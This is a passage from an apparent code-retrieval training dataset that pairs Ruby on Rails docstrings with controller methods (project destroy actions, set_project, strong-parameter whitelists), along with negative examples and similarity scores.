"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n @project.users.delete_all\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \t@project = Project.find(params[:id])\n \t#ap @project\n \t#abort\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticate_user!\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy\n render json: {message: 'Projeto Excluido'}, status: :ok\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find_by_slug(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"#{I18n.t 'project.project_destoy'}\"}\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Admin::Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"def delete_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'DELETE'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'DeleteProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def destroy\n @project = current_user.active_projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n standard_destroy(Project, params[:id])\n end",
"def destroy\n authorize! :delete, @project\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"Project was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.78940606",
"0.78581154",
"0.7776677",
"0.7770321",
"0.77572984",
"0.7729462",
"0.77290845",
"0.77290845",
"0.77290845",
"0.77290845",
"0.77290845",
"0.77231294",
"0.7717094",
"0.7717094",
"0.7717094",
"0.7717094",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7703387",
"0.7698941",
"0.76982206",
"0.76815325",
"0.76681346",
"0.76585567",
"0.7648158",
"0.7648096",
"0.7640224",
"0.7631921",
"0.76140106",
"0.76132286",
"0.7609349",
"0.7605296",
"0.7603482",
"0.7597622",
"0.7597122",
"0.7592255",
"0.7589832",
"0.7588337",
"0.7570942",
"0.7570288",
"0.75601155",
"0.75423044",
"0.7536747",
"0.7531406",
"0.75286824",
"0.7522198",
"0.7522198",
"0.7517804",
"0.75062335",
"0.75030017",
"0.7498333",
"0.74932957",
"0.7485569",
"0.7480241",
"0.74765617",
"0.74679726",
"0.74640846",
"0.74595547",
"0.74595547",
"0.7451286",
"0.7447009",
"0.7445036",
"0.74432665",
"0.7440854",
"0.7439673",
"0.7436044",
"0.7435683",
"0.7435003",
"0.7435003",
"0.7435003",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698",
"0.7434698"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_project
@project = Project.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def project_params
params.require(:project).permit(:name, :description, :due_date, :status)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def valid_params_request?; end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6980957",
"0.6783065",
"0.6747844",
"0.6741468",
"0.67356336",
"0.6592548",
"0.65036845",
"0.64978707",
"0.64825076",
"0.64795035",
"0.64560914",
"0.64397955",
"0.6379666",
"0.6376688",
"0.6366702",
"0.6319728",
"0.6300833",
"0.6300629",
"0.6294277",
"0.6293905",
"0.6291174",
"0.62905735",
"0.6283171",
"0.6242344",
"0.62403613",
"0.6218049",
"0.62143815",
"0.62104696",
"0.61949855",
"0.6178671",
"0.6176147",
"0.6173327",
"0.6163395",
"0.6153005",
"0.6151833",
"0.6147288",
"0.61224324",
"0.6118827",
"0.61075264",
"0.61054534",
"0.6092497",
"0.6080082",
"0.60710967",
"0.60627776",
"0.60219413",
"0.60175914",
"0.60153484",
"0.60107356",
"0.60081726",
"0.60081726",
"0.60013986",
"0.6000165",
"0.59978646",
"0.59936947",
"0.59925723",
"0.5992084",
"0.59796256",
